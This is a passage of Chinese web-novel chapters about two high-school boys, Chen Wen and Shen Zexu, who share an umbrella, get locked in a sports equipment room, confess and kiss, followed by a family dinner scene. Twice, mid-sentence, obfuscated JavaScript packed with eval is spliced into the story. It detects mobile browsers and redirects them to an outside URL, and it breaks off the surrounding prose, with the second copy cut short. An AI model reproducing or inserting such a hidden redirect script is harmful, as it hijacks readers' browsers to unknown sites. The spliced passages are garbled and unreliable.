两人的目光在半空中相撞,同学们聊天的声音似乎渐渐远去,只剩下风扇发出的嗡嗡的轰鸣和两人的心跳声。 陈温觉得胸口更疼了。 他尴尬地摸了摸手肘,皮肤冰凉得像刚从雪地里挖出来。 两人就这么默着,说也不说话。 直到第二节晚修的铃声响起,陈温逃也似地回到座位,动作因太快,不小心撞到了桌角,不算太疼,他也没太在意。 数学试卷上的函数题扭曲成难解的密码。 陈温盯着那道做过几十遍的例题,迟迟下不去笔。余光里,沈泽许的侧脸在护眼灯照耀下白得近透明,紧皱的眉头始终没有舒展。 晚修的放学铃一响,屋外便下起蒙蒙细雨。 陈温站在教学楼的屋檐下,看着雨点在水坑里砸出无数个转瞬即逝的皇冠。 “下雨了。”男生从书包侧袋抽出折叠伞,侧身问正翻着书包的沈泽许:“你带伞了吗?要不要一起?” 沈泽许的手在书包夹层停顿了一下,若无其事地拉上拉链。 “嗯。” “哼哼,还好我有先见之明。”陈温得意地撑开伞,伞面“嘭”地弹开,溅起水珠,“赶紧走吧,等会雨下大了。” 两人并肩走入雨幕,伞面在头顶撑起一片小小的晴空。 陈温能感觉到周围同学投来的目光——有羡慕的,有好奇的,还有几个男生怪笑着起哄,可他全当没有听见,直接出了校门。 步行街空荡荡的,阿菊粽店的霓虹招牌已经熄灭,雨水冲刷着石板路,散发出泥土特有的清新气息。 这伞是普通的深蓝色,边缘已经有些脱线。 伞面不是很大,两个正直青春期发育的男生挤在一把伞下极为拥挤。 两人靠得不算太近,可陈温能闻到沈泽许身上淡淡的茉莉气息,混着雨水的清新。 陈温无意识把伞往左边倾斜,雨丝不久便打湿了他右肩的校服,片刻,那处就完全湿透了,布料黏在皮肤上,凉丝丝的。 “这伞,挡视线了。”沈泽许停下脚步,一只手半撑着伞面,似乎真挡住他的视线了。 陈温没听懂,举高了伞柄:“这样呢?” “不用特意倾斜。”男生的目光落在陈温湿漉漉的袖口上,“你会淋湿的。” 陈温耳根一热,小声嘟囔:“但是我怕你被淋到……”越到后面声音越小。 “没事。”沈泽许说。 两人继续往前走,之间保持着微妙的距离。 陈温摆正了雨伞,但举伞的一只手开始发酸——沈泽许比他高出半大个头,他不得不一直抬高手臂,以免顶雨伞到男生的头。 在第三次换手时,沈泽许开口道:“我来拿吧。” 陈温连连摆手:“不用不用,我来就行。” 沈泽许不管不顾地握住伞柄,说道:“我先举一会,待会给你,我们轮流来行吗?” 两人同举一把伞,姿势极其怪异,远远看去像极了一对难舍难分的情侣。 陈温悻悻收回了手,道:“好吧。” 然而没走多久,陈温就发现伞面又开始倾斜起来——这次是向着他的方向。 雨水顺着沈泽许的手臂滑落,在肘弯处积成小小的水洼。 “伞歪了。” 陈温抬手去扶伞骨,手心无意擦过沈泽许的手腕——那一瞬的触感像触碰了阳光下的青石板,温暖又踏实。而他自己被雨水浸凉的手指,反倒像个唐突的入侵者。 陈温猛地缩回了手,紧咬着嘴唇,尴尬地抓校服下摆。 “靠近点。”沈泽许的声音从头顶往下飘,“这样都不会淋到。” “好……” 陈温往旁边挪近半步,双方的距离迅速缩短为一个拳头大小。 沈泽许的鼻尖萦绕着若有若无的甜香——是陈温身上的桂花味,混着雨水的潮湿,像刚出炉的蜂蜜蛋糕,表皮还泛着诱人的焦糖色。 他喉结无意识滚动了下。 尝起来……会不会也这么甜? 陈温害羞地低着头,他注意到自己的校服领口已经洗得发白,还起了一圈小球;而余光里的沈泽许的校服领口挺括如新,纽扣在路灯下闪着低调的光泽。 不知为何,陈温想起上周去沈泽许家“玩游戏”时看到的别墅,它不是那种金碧辉煌的豪宅,而是处处透着克制的优雅——超大电视,柔软又舒服的沙发,还有院子里颜色各异的百合花。 而自己家呢? 陈温记起卧室的天花板上裂开的墙皮,卫生间永远关不稳的门,还有书桌上那盏用了十年的节能灯。 远处闷雷滚过。水洼里破碎的霓虹倒影被雨滴击散,又顽强地拼凑回来。 陈温觉得胸口发闷发疼,像是有什么东西在里面悄悄腐烂。 他怎么可能喜欢我呢……而且沈泽许能接受男生吗? 陈温无意识地摸了摸右耳轮上的小痣,那是他全身上下称得上是“最精致”的地方。 男生想得太入迷,一脚踩进水坑,沁凉的雨水立刻渗进鞋里。 “小心。”沈泽许的手稳稳扶住他手肘,热度透过湿透的校服传来。 陈温像被烫到般猛地抽手,溅起的水花打湿两人裤脚。 雨声很大,大到他听不见自己的心跳。 不知从什么时候开始——或许是沈泽许跟他打视频电话,或许是那人跟他一起睡觉,又或许是此刻伞下共享的体温…… 陈温感到某种坚冰正悄然消融,化成一股暖流,悄悄漫过心口那道封冻多年的裂缝。 这条路走得格外漫长,到了巷口,那辆熟悉的黑色车正静静停靠路边。雨水顺着车窗滑落,将车内昏黄的灯光折射成模糊的光晕。 陈温往车门边挪了半步,伞面下意识倾向沈泽许那边,方便他打开车门进去。 “你先……” “不用这样,知道吗。”沈泽许打断他,那人单手撑着车门,雨珠顺着他的手腕滑落,在衣袖洇开深色的痕迹。 陈温举着伞的手僵在半空,校服布料贴住皮肤,凉意顺着脊椎往上爬。 “哦……明天见。”他嘴角扯出一个笑。 “嗯……” 车门关上的声响很闷。 透过雨痕斑驳的车窗,他看见沈泽许正用拇指按压眉心——那个只有在极度烦躁时才会出现的小动作。 尾灯在雨幕中逐渐模糊不清,像两粒正在融化的红豆。 陈温还站在原地,直到那点红光彻底消失在拐角。 雨点砸在伞面上的声音越来越急,像是某种无言的控诉。 他终于动身走到公交站,积水漫过鞋帮,袜子湿漉漉地黏在脚踝上。 “……” 这一周过得平静,唯一发生的“大事”可能是林宇舟终于公布了他篮球比赛的时间。 就在这个周末家长会的后一天,在惠中的篮球场举行与隔壁学校PK友谊赛。 周六的太阳公公晒得人暖暖的,陈温醒了有一个小时左右。 因为这几天家里没有什么要事干,他就报名参加了家长会的志愿者活动,也就是来学校帮忙招待家长,打扫卫生什么的。 家长会九点半开始,他七点就出了门。 公交车上没多少人,只有几个早起去公园锻炼的大爷大妈。 陈温把额头抵在玻璃窗上,他看着惠城清晨的街景缓缓后退,不知道在想什么。 校门口挂着“欢迎家长”的红色横幅,被晨风吹得鼓胀,像浪打浪一样。 林宇舟正从面包车上卸矿泉水,T恤后背湿了一大片。 “来啦啊?”男生把箱子重重放在地上,扬起一阵灰尘。 “嗯,婷姐呢?”陈温问。 林宇舟用手背抹了把汗,笑容比朝阳还灿烂:“婷姐在教室里训人呢,叶萧云那小子又把签到表弄丢了。” 想起楚婷训人时的模样,陈温忍不住笑了笑,道:“叶萧云那马虎性子什么时候能改改啊。” “哎算了,别为难他了。”林宇舟说:“对了,沈泽许也在教室,你去找婷姐的时候,能不能顺便帮我问问他带没带手机啊。 “我出门忘带手机了,得打个电话让我妈帮忙拿一下。” 陈温疑惑不解:“不可以用别人的手机吗?为什么一定要用沈泽许的电话?” 林宇舟又搬下一箱子水说:“我妈不接陌生人的电话,如果让婷姐给我妈打电话,她不得骂我麻烦老师。” “沈泽许刚好有她的联系方式,你就帮帮我嘛。” “那好吧。”陈温最终答应下来。 “OK!我搬完东西就上去。” 课室里人来人往,唯独没有沈泽许的身影。 楚婷今天难得穿了一次裙子,踩着高跟鞋在讲台上来回踱步,指挥着同学们打扫卫生,手里的麦克风时不时发出刺耳的啸叫。 “老师?老师?” 陈温喊了两声,楚婷闻声转头,“怎么啦?” 男生结结巴巴道:“我家里人……有点忙……家长会来不了了。” “啊?你都高三了,你家里人都不了解一下你的学习状况的吗?”楚婷的眉毛扬了起来。 她掏出手机的动作太过利落,陈温甚至来不及阻拦——那个备注为“陈温爸爸”的号码,他已经一个月没打过了。 “老师!”他急急忙忙辩解道:“我爸要开会,我阿姨从广州过来太远了,就……就……” 楚婷的食指停在拨号键上方,眉头挤出“川”子:“那怎么办?这次的家长会很重要。” 陈温松了一口气:“下次、下次我一定把人给带过来,您看行吗?” “真的吗?”楚婷双手叉腰,半信半疑。 “真的,我从不骗人。”陈温说是这样说,但明天的事谁会知道发生什么呢?他只能求下次开家长会时,陈林峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171968|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们刚好有空。 “从不骗人”这话其实掺了水分——陈温确实不擅长撒谎,除非是无关痛痒的小事。 其他时候,他宁可硬着头皮说实话。毕竟谎言像滚雪球,越滚越要命,最后不是砸伤别人,就是压垮自己。 “行吧,”班主任最终叹了口气,把手机塞回口袋,“但下次月考后,我必须见到他们。” “保证完成任务!” “行了行了,你去帮帮他们吧。”楚婷说。 抹布被陈温用力地拧干,水珠滴滴答答落进脏水桶里。 讲台上用粉笔画的几何图形被水晕开,变成模糊的灰白色斑块。 有人抱怨道:“谁打的水,怎么磨磨唧唧的,这水都脏了多久了,还不回来?” “来啦,来啦。沈泽许回来了!终于可以换水了。”叶萧云的大嗓门喊道。 “签到表找到没?就咋咋呼呼的,吵死人。”李欣桐忍不住对叶萧云翻了个白眼。 “要你管!就吵就吵!” 见两人又要掐起来,李清依及时出来当“和事佬”:“待会家长就要来了,大家又都是同学,不要吵架嘛……” 说话期间,门口的光线被一个高挑的身影挡住。沈泽许提着两个水桶进入教室,手臂上的肌肉线条因用力而绷紧。 水桶放下时,溅起的水花打湿了他的裤脚,他也似乎毫不在意。 陈温的视线不受控制般追随着那道身影。 直到沈泽许忽然抬起头,黑漆漆的眼睛准确捕捉到他的目光。 那一瞬间,陈温像是被捉住的小偷,慌乱地别过脸,手中的抹布啪地掉在脏水桶边缘。 “沈泽许……”陈温可没忘答应林宇舟的事,他一步一步靠近,道:“林宇舟说要你跟他妈妈说一声……” 沈泽许就那样站着等他靠近,睫毛在眼下投出一小片阴影,嘴角似乎有着淡淡的笑意。 “嗯。”听完陈温磕磕绊绊的转述,沈泽许点点头,“还有事吗?” 这个问题太过平常,却让陈温的心脏缩紧不停。他摇了摇头,又一步步回了讲台,男生的背影挺拔得像棵青松,僵硬的很。 陈温蹲下身去捡那块抹布,发现它已经半干了——就像某些没说出口的话,在心底慢慢风干。 打扮各异的家长们陆续进入课室,他们手里攥着成绩单,三三两两地寒暄着。 其中有个肚子有些“胖胖”的阿姨热情地分发自制的曲奇饼干,笑声像银铃一样清脆。 “陈温,你过来一下。”楚婷打断一直盯着教室里面发呆的陈温。 班主任从讲台抽屉里抽出个一沓牛皮纸袋。 “这是你这学期的进步分析,带回去给你家长看看。” 纸袋沉甸甸的,里面除了成绩单,还有各科老师手写的评语,有些字被蹭过,晕开黑印——显然是刚刚写的。 “谢谢老师。”陈温的鼻头一酸,像是吃了一整块柠檬片,充满了苦涩还心酸。 家长会刚开始不久,操场上的阳光已经毒辣得让人睁不开眼。 林宇舟跟几人提议出去打球,大家都因为要等到家长会结束才能回去,便愉快答应了。 男生一手抱着借来的篮球,在三分线外夸张地擦了擦额头:“热死了!玩一会就回去。” 李清依和李欣桐两人没干他们一起,而是在隔壁场地拉开羽毛球网,被拍打的羽毛球像一只疲惫的白鸽,飞来舞去。 陈温站在篮球场边缘,用双手挡住太阳刺眼的光芒。 他怕热,也怕冷。不为什么,就是不喜欢夏天黏黏腻腻和冬天刺骨的寒意。 可广东就像是只有这两种季节,今天可能是炎热夏日,明天就可能是寒冷干燥的冬天。 为什么没有温和一点的季节呢? 像这种大太阳天,他更是一动也不想动。 沈泽许在他身旁慢悠悠地运着球,球鞋摩擦地面发出规律的“吱吱”声。 “你们倒是动一动啊!”林宇舟大喊着,抢过球,一个三步上篮,额头处落下几滴汗珠。 陈温象征性地跑了几步,很快就退到树荫下;沈泽许更是连外套都没脱,偶尔接个传球,动作优雅得像在参加什么正式比赛。 一个小时后,当其他人像从水里捞出来一样浑身湿透时,只有陈温跟沈泽许的领口微微泛着潮意,在猛烈的阳光照耀下,晒干了。 “你们俩真是……”叶萧云气喘吁吁地撑着膝盖,“太不够意思了。” 女人那边也打完了,李欣桐小跑过来,一把把羽毛球拍塞进陈温怀里:“帮我放回去,可以吗?” “好……” 陈温扶正羽毛球拍,看了眼身旁同样没怎么出汗的沈泽许,“能陪我一起去吗?” 那人点点头,同意了。 四人走进器材室,扑面而来的是橡胶和汗水混合的闷热气息。 林宇舟和叶萧云站在篮球架旁,正为刚才的一个犯规球争得面红耳赤。 “那球绝对打手了!”叶萧云嚷嚷道。 “放屁!我连碰都没碰到你!”林宇舟反驳。 陈温没理会两人的争执,跟沈泽许径直走向最里侧的架子。 羽毛球区被堆放在角落,几个旧球拍歪歪斜斜地挂在网格上,拍线已经有些松弛。 器材室的门不断开合,其他班的学生陆续放回跳绳与排球,直到最后一个路人消失在拐角,林宇舟和叶萧云的争论才戛然而止。 “哎?等一下,陈温他们呢?”林宇舟问。 叶萧云挠了挠头,道:“应该先走了,这里都没人了。” “走走走,婷姐该点名了。” 陈温刚把球拍挂好,就听见外面的两人没了动静,接着身后传来“砰”的关门声。 他愣了一下,缓缓转过头看向沈泽许——对方也停下了摆整齐乒乓球的动作。 器材室瞬间安静下来,只剩下排气扇转动的嗡嗡声。 “……” 36. 再说一遍 陈温隐隐约约感觉不太对劲,他往外面一看,果然,那门锁上了。 这消息来的突如,陈温也是第一次被锁,一时之间不知道该说什么。 因为是假期,器材室没有人看守,大家都是默认最后一个人关门。室内没有监控,只有门口上方对着一个,估计连保安都没想到,这里还有人吧。 片刻他反应过来,道:“我们被锁了!” “好像是。”沈泽许没什么情绪地说。 “不是!你怎么还是一副无所谓的态度?”陈温瞪他。沈泽许没有回答,而是上前摇门,尝试能不能打开。 可那门纹丝不动,生锈的合页发出老猫打呼噜般的声响。 “怎么办啊?”陈温用力地拍了一下门,震落一层铁锈,他的声音也矮下去。 沈泽许:“先冷静点,说不定他们回去的路上,就发现我们不见了,然后过来找我们。” “哎,也只能这样了,这附近又没有人。” “那两个人也真是的。”陈温认命般找了一处地方休息。 汗味从仰卧起坐的垫子里蒸腾上来,这里又闷又热,陈温觉得他像是被放进微波炉的芝士年糕,正在不可控地软化。 男生今天穿了件黑色短裤,双手撑着垫子,晃动着脚踝,直到被温热的手指截停。 “这里有淤青。”沈泽许的表情不太好,一只手环住他的小腿,拇指按在膝盖上一小块青斑上,像盖章。 陈温这才发现他的膝盖处留有被撞伤的痕迹,沈泽许微微皱起眉头,手不自觉地用力又按了按。 排气扇突然加速转动,吞没了陈温喉咙里挤出的半声惊喘。 他的睫毛投下像不断移动的暗号,而沈泽许的瞳孔在阴影里呈现出罕见的琥珀透明度——像雨后阳光照亮的松脂。 “疼吗?”他问。 “还好,不疼。” “怎么弄的?”沈泽许的声音像是从很远的地方传来,带着点回音。 陈温张了张嘴,却发现记忆里没有这段受伤的片段,他本人毫无印象。 刚要开口,却听见门外响起窸窸窣窣的开锁的声音。 不知为何,两人的视线在昏暗处交汇,沈泽许的手掌已经覆上陈温的嘴。 他们贴着储物架滑坐在地上,陈温的前胸紧贴着沈泽许的胸膛,这个像拥抱的姿势,能清晰地感受到对方加速的心跳。 门开了。 陈温透过放跳绳的纸箱缝隙,窥视外面。 两个人,但不是林宇舟跟叶萧云。 是一男一女。 女生穿淡粉色连帽卫衣,陈温不认识。 但是那男生,陈温可太熟悉了——乱扔餐盘的杨子龙。 男生搂着小姑娘走进来,他校服袖口上沾着食堂的油渍,右手神秘兮兮地背在身后。 “我们在这里真的好吗?”女生不安地开口。 “没事的小珍,这里又没人,也没有监控。”男生说。 “快说找我干嘛,神神秘秘的。”名叫“小珍”的女生双手环胸,没好气道。 “别着急嘛。喏,这个给你。” 杨子龙右手掏出个蓝丝绒盒子,上面烫金的LOGO陈温认得——上周班里女生还讨论过,小小一支要两百多呢。 女生拆礼物的手指在发抖:“不是吧!你不是说你爸把钱都给赌完了吗?这钱哪来的?” “捡的。”杨子龙咧嘴一笑,“开玩笑的,是正经渠道的钱,你放心用。” 男生说这话时,手指无意识地绞着裤腿上的一个小破洞,注意一看还是极为明显的。 “谢谢宝宝。” “吧唧”一声,女生亲在杨子龙脸上。 陈温看不下去了,尴尬地别过脸,却发现沈泽许正一眨不眨地盯着自己。 那双深邃的瞳孔里——盛着复杂的情绪,像暴雨前的低压云层,呼吸撒在他耳畔。 沈泽许捂着的手没拿开,陈温没发比唇语,他眨了眨眼,像被闪光弹闪到的小鸟,比划着说:“怎么了”。 淡粉的唇瓣无意识地擦过对方的掌纹,那里有常年握笔留下的薄茧,粗糙的触感让他呼吸微微一滞。 那人极轻地摇头,用唇语说着:“没事。” “行了,礼物给了,吻也送了。你赶紧回去吧,等一下你爸找不着你该着急了。”杨子龙说完,外面便没了动静。 响亮的关门声终于让沈泽许撤回了手。 陈温下意识舔了舔嘴唇,那里还残留着对方掌心的温度,像块即将融化的太妃糖。 器材室重归寂静,只剩下两人交错的呼吸声,可刚才的暧昧气氛还没有消散,空气开始黏黏糊糊起来。 陈温盯着水泥地上的一粒沙粒,喉咙发紧干涩。 方才沈泽许那个意味深长的眼神像块烙铁,烫得他坐立不安。又因为撞见杨子龙跟他女朋友的事,埋藏在心里的事蠢蠢欲动。 他手无意识地揪住短裤,布料被掌心皱成一团。陈温用随便问问地语气,说道:“沈泽许……你有谈过恋爱吗?” 男生沉默片刻道:“没有。” 陈温接着问:“你之前是不是提过有喜欢的人啊?” 沈泽许微微偏过头,目光掠过他发烫的耳廓,最后停在微微颤抖的唇瓣上。 “嗯。” “那你……现在有喜欢的人吗?” 沈泽许的睫毛几不可察地颤了一下,他缓慢地抬起眼。 “你——”这个单字像颗薄荷糖,在舌尖停留了足足三秒。 陈温的心脏漏跳一拍,喉结不自觉地滚动。 “——为什么,问这个?” 陈温松了口气,方才那个突兀的“你”字仍在脑内不断回放,他后知后觉地发现自己的脸烧得厉害,心脏小鹿乱撞般乱跳。 微风从操场那头卷过来,带着塑胶跑道被晒化的焦苦味,灌进他大张的嘴里。 死。嘴。快。说。啊。 不然!就!没!机会了! “能告诉我那个人是谁吗?”陈温深呼吸一口气,抬起头,正巧撞进那片乌黑的海洋里,他看见自己的倒影在那双眸子里微微晃动,像艘即将倾覆的小船。 沈泽许:“你。” 这个字再次出现,陈温觉得沈泽许又要耍他,便严肃道:“别逗我了,认真点。” 沈泽许向前迈了一步,沐浴后的茉莉香气笼罩下来,他一字一顿道:“我认真的,我喜欢你。” 陈温感觉心脏真的要跳出来。 他慌乱地呼吸着,胸口上下起伏,那股茉莉香越来越浓,似乎占据他整个神经,大脑一片空白。 同时,喉咙里似乎还有种苦涩的味道,悬在喉中难以下咽。 陈温觉得是自己听错了,不确定地说:“什么?我没听清。” 沈泽许的嘴角勾起一个好看的弧度,耐着性子又说了一遍:“我喜欢你。” 陈温几乎是在沈泽许说完后,回答道:“我也喜欢你。”声音细如蚊呐,几乎听不见。 沈泽许好似没听清,模仿陈温刚才询问他的语气跟话,说道:“什么?我没听清。” “我喜欢你。”陈温的脸被“撩”得像是一颗红彤彤的樱桃,从耳根到脖子都带上点淡淡的粉红,全身都在微微发抖,像鼓起所有力气说的这句话。 沈泽许像是又没有听清楚,又好像是在故意捉弄陈温,他道:“再说一遍。” “我喜欢你。” “再说一遍。” “我喜欢你!” “再说一遍。” “沈泽许!你故意的!我不跟你玩了。” 事不过三,陈温恶狠狠地瞪了沈泽许一眼,不管门还有没有锁着,便要往外走。 刚走出去没两步,就被他一把拉回。 “我错了,不逗你了。” 沈泽许缓缓靠近,陈温一直往后退,直到大腿停在器材室的办公桌边,他退无可退了。 男生的手抚上他的腰际,那个部位好像两只手就能全部环住,温度也是烫得吓人。 “你腰好细。”沈泽许说。 身前的人在瞳孔中不断放大,直到两人的唇瓣的距离只有一个拇指长度。陈温紧张又不知所措地死死闭起眼睛,不敢看着对方。 想象中的吻并没有落下。 男生慢慢睁开一只眼,发现那人就只是静静地看着他,嘴角噙着若有似无的笑。 好像在勾引他,让他先动手。 陈温抿了口微微干裂的嘴唇,控制不住般凑了上去,又在真正触碰时,不知所措地僵住,他身体绷直地退回来。 刚才……他是不是太主动了? 但是沈泽许的嘴唇真的很软。 可是他不会接吻啊。 碎碎念在脑里颓然地飘过,陈温回味般又轻啄了一下沈泽许的唇瓣,这个吻生涩得像初春的嫩芽。 而沈泽许只是一动不动地凝视陈温在他唇上的动作,那人轻轻咬了一口,发现他抖了一下后,浅尝辄止地缩回。 “我要吻你了。”沈泽许的嗓音极哑,带这些气音。 闻言,陈温的唇瓣猛地僵住。 他下意识咽了咽,喉结滚动的声音在静谧中格外清晰。 下一秒温热的唇瓣就附了下来。 男生含住了他的下唇,轻轻吮吸,陈温下意识后退,后脑勺却撞上对方早已等候多时的手掌。掌心顺着抚摸他的头发,引导陈温慢慢放松。 温温柔柔地吻如雨点般落下,茉莉与桂花的香气混着彼此的呼吸。 沈泽许的舌不经意划过陈温虎牙,又引得他身体战栗不止,脑袋晕乎乎的。 陈温的双手无处安放,慌乱地挥着舞,在沈泽许加深这个吻后,紧抓着对方的衣领。 他好像泡在名为“沈泽许温泉”上的旅人,在温柔的浪潮中沉浮,浑身像揣了碳火。 他要被融化,要被滋润,要被弄得毫无力气。 两人都是新手,可沈泽许接得简直是游刃有余,陈温却遭了殃,他不会换气,呼吸急促,两人再不分开,他真的要被溺死了。 一个没注意力道——沈泽许的唇被他咬破了。 两人才恋恋不舍地分开,渗出的血珠在分开时拉出一道细细的红丝。 陈温垂着眼,抵着对方的额头,鼻尖相触,温热的气息纠缠在一起。 男生的肺叶像两片生锈的铁皮风箱,在消毒水浸泡过的空气里挣扎了二十七天后,终于冲破束缚。 沈泽许的唇瓣像是被揉碎的玫瑰花,血色洇开,衬得他白皙的肤色愈发冷冽。 “不好意思,把你嘴唇咬破了。”陈温声音低哑,带着点不确定的颤音:“那……你能做我男朋友吗?” 沈泽许轻嗤一声,指腹蹭过破皮的唇角说:“不是你男朋友的话,那我们刚刚在干嘛?” 难道是在拜把子吗? 陈温的耳根瞬间烧了起来,热度一路蔓延到脖颈。他张了张嘴,想说些什么,却又哑口无言,最后闷闷地憋出个“哦”。 男生余光瞥见被他抓皱的衣领,而后悻悻收回手。沈泽许低笑一声,伸手捏了捏陈温的后颈,像在安抚一只闹别扭的猫。 小傻瓜。 幸好杨子龙他们出去的时候并没有锁上门,陈温跟沈泽许顺理成章地离开器材室,两人默契的没再提起刚才的事。 陈温觉得刚才的一切像一场梦,轻飘飘的没有实感。 他就这样跟沈泽许在一起了? 或许是因为他从未谈过恋爱,所以根本不知道——和别人靠得这样近时,心跳到底该快还是该慢,呼吸该轻还是该重。 他像个被推到舞台中央却忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么‘人生大事’?” 林宇舟一把拽过两张椅子,说:“都坐都坐,站着多累啊。” 一群人围在用四张课桌拼成的“临时会议区”上,其中就有李欣桐跟李清依两人,还有几个班级前十的同学。 大家都在等家长开完会,回家。 林宇舟不知从哪摸出包瓜子,边磕瓜子边笑眯眯地说:“清依,该你了。” 李清依卷着发尾,说:“未来的工作我其实没想太远,就想做个能帮大家的人。” 闻言,有个女同学鼓励道:“我相信清依姐,你一定能做到的。” “我也相信,OK。到李欣桐了。” “我啊。”李欣桐翘起二郎腿,娓娓道来:“我长大想当消防员、飞行员、警察这些类型的职业,跟姐姐一样帮助别人,再苦再累都无所谓。” “哇塞,桐姐好‘酷’。”那个女生又道,眼里全是冒星星般。 “呵,死装。” 抛出这句话的,正是李欣桐的“死对头”——叶萧云。 女生“啪”地拍桌站起身,她甩了甩利落的短发,说道:“我当然比不上某人,但某人也不怎么样。” “你以为你数学好,就可以为所欲为了吗?” “还想当会计,做梦吧。” 叶萧云冷笑出声:“呵,你就是爬树摔出来的梦想。” 见两个人又又又要吵起来,林宇舟拍桌而起,瓜子壳被震得飞起几粒。他张开双臂,隔开两人:“停!二位大佬,冷静!冷静!” 众人见状,立刻七嘴八舌地打圆场,有人递水给李欣桐,有人塞零食给叶萧云,硬生生地把这场“战争”扼杀在摇篮里。 林宇舟转头看向其他人,道:“快快快,下一个谁?” 赶紧转移话题! 下一个是沈泽许。 他本人静靠在椅背上,指节轻扣桌面,发出有规律的“嗒嗒”声。 男生微微抬眼,目光扫过众人期待的眼神,最后落在窗外的某处。 语气平淡:“我的话,开家公司吧。” 叶萧云立刻戏精上身,双手合十作祈求状,眼睛眨得像是进了沙子,疯狂眨动。 “沈哥!你不会忘了我们的兄弟情吧?” 沈泽许:“不会。” “那到时候我找不到工作,能投奔你吗?” 沈泽许瞥了他一眼,唇角微不可察地扬了扬,慢条斯理道:“我公司不养闲人。” 话一出口,教室里顿时爆发出笑声,像一串被点燃的鞭炮。 林宇舟拍着桌子直喊“绝了”;李欣桐捂着肚子,笑得肩膀直抖;连一向淡定的李清依都忍不住弯起眼角。 林宇舟笑够了,继续Cue流程:“到陈温了,你长大想做什么啊?” 陈温想了片刻,正要开口,却被一阵清脆的高跟鞋声打断。 所有人瞬间噤声,像是被按下了静音键。 楚婷走了进来,怀里抱着家长会要用的资料摇摇欲坠,她目光犀利地扫过众人,说道:“卫生都做完了?” 众人异口同声:“都做完了!” 楚婷挑眉:“那还不回家?” 众人如蒙大赦,作鸟兽散。 教室很快便空了下来,只剩下窗外的蝉鸣。 沈泽许慢吞吞站起身,顺手拎起陈温忘在柜子上的牛皮纸袋。 “你的。” 陈温耳根微红:“……谢谢。” “走吧,我送你回去。” 陈温还站在原地,没动。 他看着沈泽许远去的背影,突然觉得,即便这一切都是醒不来的梦,也无所谓——只要还能跟着那道身影往前走。 男生蹦跳着跟上,脚步轻得像是踩在云端。 37. 打视频电话 黄昏的街道吹起清凉晚风,大雁群飞,家家户户陆陆续续开起夜灯。 回去的公交车上,陈温的思绪乱成一团。 两人的关系是不是发展得太快了?表白是不是过于随便了?该怎么跟陈林峰他们解释? 他连眼前晃动的手都没注意到。 沈泽许又晃了晃,喊了声:“陈温?” “啊?”男生猛地回神,“怎么了?” “该下车了。” “哦……好。” 公交车缓缓停下,沈泽许顺手帮陈温拿起楚婷给的牛皮纸袋,指尖相触的瞬间,陈温跟触电似的缩回了手。 完蛋,自从确认关系,连这种普通接触都变得像在作弊! 到了小区楼下,两人不约而同停住脚步。 陈温盯着自己的鞋尖,正犹豫要不要来个告别拥抱,沈泽许却已经抬手揉了揉他发顶:“上去吧。” 陈温走出三步,还在犹豫刚才的问题。 结果身体比脑子快,等他反应过来时,自己已经一头扎进沈泽许怀里,像树袋熊一样挂在他身上了。 男生的T恤带着淡淡的茉莉花香,他深吸一口气,把脸埋得更深。 无论如何,他都会说服陈林峰,现在不说,以后也会说。 “嗯?”沈泽许rua了把他后脑勺,好气又无奈的语气:“怎么了?” “抱抱我男朋友不行吗?”陈温把发烫的脸埋进对方肩窝,心想这不能怪他,要怪就怪沈泽许今天穿的T恤太软太好抱。 “行,没问题。”沈泽许说:“晚点打视频电话?” “好~” 两人又腻歪了会,陈温才进了小区,电梯按钮亮起的瞬间,手机屏幕也跟着亮起。 陈林峰的信息赫然在目:「开完会了,晚点我跟你慕雪阿姨、小雨他们一起回来。」 陈温盯着“回来”两个字,喉头发紧。 坦白比想象中难,但怀里的余温还在,他飞快回复“好的”,把手机塞回口袋。 推开房门,陈温发现元姨给他留的饭菜还在桌上冒着热气。 他快速洗完澡,顶着湿漉漉的头发瘫在沙发上,刷视频,直到门锁“咔哒”转动出声。 “小宝,我们回来了~”慕雪的声音伴着塑料袋的欢快摩擦声,“快洗手,加菜!” 陈温弹射起步,鼻子跟雷达似的锁定了香味来源,拖鞋都跑飞一只:“烧鸭?!” 果然,慕雪手里晃着那家老字号的包装袋,油渍在纸袋上晕开诱人的痕迹。 慕雨澄一进门,脑袋就没抬起来过,在屏幕上敲敲打打,嘴角时不时抽动一下——像是在憋笑,又像是在跟谁较劲。 陈温凑近偷瞄,发现这人正在和某个备注“大魔王”的人激情互怼,最新一句是“你菜得像个人机”。 厨房里传来“滋啦——”的美妙声响,陈林峰正把元姨准备的菜回锅。 热油与食材相遇的瞬间,香气像炸弹般在屋里爆开。 陈温的肚子很配合地“咕噜”一声,惹得慕雪笑着揉他头发:“等我们等饿了吧,待会多吃点。” 陈温不好意思地傻笑,道:“好~” 四人围坐在餐桌前,陈温的筷子已经悬在烧鸭上空蓄势待发。大人一动筷,他已经偷咽第五次口水了。 吃着吃着,陈林峰夹了块烧鸭,状似随意地问:“家长会开的怎么样?老师说了什么?” 陈温夹豆腐的动作顿了顿:“老师给了我个牛皮纸袋……”他指向茶几,“说必须您亲自看。” “那这次月考考的怎么样?”他又问。 “还没看,成绩单什么的都在袋子里。”陈温低头扒饭,顿时觉得碗里的烧鸭都不香了。 陈林峰点点头,皱着眉头看向慕雨澄:“你弟这成绩,连好点的大专都悬。” 他叹了口气,那声叹息里仿佛承载了全中国家长的忧愁:“我们吃过的苦,不想让你们再吃了。” “当时没那个条件,现在有条件了,你们就要多看点书,别老是玩手机。” 慕雪在一旁捂住嘴偷笑,见两人没有回答他,陈林峰便提高声音,说:“听到没?” “听见了。” 两人异口同声,敷衍至极,慕雨澄的尾音拖得老长,还在桌子底下偷偷给陈温发消息: 「你爸又开始了。(捂脸.JPG)」 陈温瞥见信息,忍不住回怼: 「那也是你爸好吗?」 